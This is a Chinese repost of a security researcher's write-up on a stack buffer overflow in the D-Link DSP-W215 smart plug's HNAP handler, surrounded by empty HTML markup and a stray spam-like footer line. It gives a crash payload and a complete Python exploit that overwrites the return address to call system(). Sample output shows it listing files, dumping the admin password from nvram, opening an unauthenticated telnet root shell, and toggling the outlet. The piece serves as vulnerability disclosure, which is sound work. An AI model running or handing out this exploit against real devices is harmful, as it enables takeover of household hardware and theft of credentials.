<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/2015

                    0x00 背景


                    D-Link DSP-W215 智能插座是一款通過無線控制電源開關的插座。現在還不能從亞馬遜和百思買買到,但是固件可以從D-Link網站下載(真蛋疼)。

                    DSP-W215存在一個堆棧溢出漏洞,通過該漏洞可以控制整個插座設備,也能控制插座設備上其他電器設備的開關。

                    0x01 分析


                    分析插座的固件:

                    enter image description here

                    Lzma 壓縮,linux文件系統,uimage 內核壓縮鏡像。

                    解壓檢查文件的內容,發現沒有基于web的管理界面,只能用它提供的Android 或者IOS應用進行管理,該應用使用了HNAP(家庭網絡管理協議)。

                    HNAP是基于soap 協議,其req/res如下:

                    enter image description here

                    更多查看http://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf

                    這個智能插座用lighttpd輕量級服務器來實現HNAP協議的傳輸,從lighttpd的配置上看,HNAP請求都發送到了/www/my_cgi.cgi進行處理。

                    #!bash
                    ...
                    alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
                                   "/HNAP1"  => "/www/my_cgi.cgi",
                    ...
                    

                    HNAP雖然是需要進行認證的協議,但是某些行為是不需要的,如獲取設備信息設置之類。

                    enter image description here

                    HNAP請求數據是由在my_cgi.cgi的do_hnap函數處理。do_hnap會首先處理POST請求中指定的Content-Length頭。

                    enter image description here

                    轉換長度(str)為int.

                    然后,它讀取上述長度字節的數據放入一個分配了固定大小的棧中。(500,000字節)

                    enter image description here

                    F5轉換成c代碼為:

                    #!cpp
                    int content_length, i;
                    char *content_length_str;
                    char post_data_buf[500000];
                    
                    content_length = 0;
                    content_length_str = getenv("CONTENT_LENGTH");
                    
                    if(content_length_str)
                    {
                       content_length = strtol(content_length_str, 10);
                    }
                    
                    memset(post_data_buf, 0, 500000);
                    
                    for(i=0; i<content_length; i++)
                    {
                       post_data_buf[i] = fgetc();
                    }
                    

                    明顯未對content_length進行檢查,可以寫入大于500,000字節的數據進行溢出,但是棧里不止包含post_data_buf這個數組,所以需要1,000,020 進行溢出。

                    #!bash
                    perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
                    wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
                    

                    enter image description here

                    Arm寄存器真蛋疼。

                    由于是getc獲取的數據,所以可以傳入空字節。作者測試自己my_cgi.cgi進程中執行system地址0x00405CAC需要讀入空字節。

                    enter image description here

                    所以 ,只需要把返回地址覆蓋成0x00405CAC,并把棧的偏移28位處加入需要執行的指令代碼。

                    0x02 EXP


                    #!python
                    import sys
                    import urllib2
                    
                    command = sys.argv[1]
                    
                    buf =  "D" * 1000020         # Fill up the stack buffer
                    buf += "\x00\x40\x5C\xAC"    # Overwrite the return address on the stack
                    buf += "E" * 0x28            # Stack filler
                    buf += command               # Command to execute
                    buf += "\x00"                # NULL terminate the command string
                    
                    req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
                    print urllib2.urlopen(req).read()
                    

                    執行后得到的數據:

                    #!bash
                    [email protected]:~$ ./exploit.py 'ls -l /'
                    drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 bin
                    drwxrwxr-x    3 1000     1000         4096 May  9 16:04 dev
                    drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
                    drwxrwxr-x    3 1000     1000         4096 Jan 14 14:16 lib
                    drwxr-xr-x    3 1000     1000         4096 Jan 14 14:16 libexec
                    lrwxrwxrwx    1 1000     1000           11 May  9 16:01 linuxrc -> bin/busybox
                    drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
                    drwxrwxr-x    7 1000     1000         4096 May  9 15:44 mnt
                    drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 mydlink
                    drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
                    drwxrwxr-x    2 1000     1000         4096 May  9 17:49 root
                    drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 sbin
                    drwxrwxr-x    3 1000     1000         4096 May 15 04:27 tmp
                    drwxrwxr-x    7 1000     1000         4096 Jan 14 14:16 usr
                    drwxrwxr-x    3 1000     1000         4096 May  9 16:04 var
                    -rw-r--r--    1 1000     1000           17 Jan 14 14:16 version
                    drwxrwxr-x    8 1000     1000         4096 May  9 16:52 www
                    

                    也可以直接dump配置:

                    #!bash
                    [email protected]:~$ ./exploit.py 'nvram show' | grep admin
                    admin_user_pwd=200416
                    admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level
                    admin_level=1
                    admin_user_name=admin
                    storage_user_00=0/admin//
                    

                    或通過開啟telnet得到一個shell

                    #!bash
                    [email protected]:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
                    [email protected]:~$ telnet 192.168.0.60
                    Trying 192.168.0.60...
                    Connected to 192.168.0.60.
                    Escape character is '^]'.
                    
                    
                    BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
                    Enter 'help' for a list of built-in commands.
                    
                    / #
                    

                    打開開關 關閉開關

                    #!bash
                    /var/sbin/relay 1   # Turns outlet on
                    /var/sbin/relay 0   # Turns outlet off
                    

                    作者還搞了個讓燈閃爍的腳本:

                    #!bash
                    #!/bin/sh
                    
                    OOK=1
                    
                    while [ 1 ]
                    do
                       /var/bin/relay $OOK
                    
                       if [ $OOK -eq 1 ]
                       then
                          OOK=0
                       else
                          OOK=1
                       fi
                    done
                    

                    D-Link’s DIR-505L也存在這個漏洞。

                    from:http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频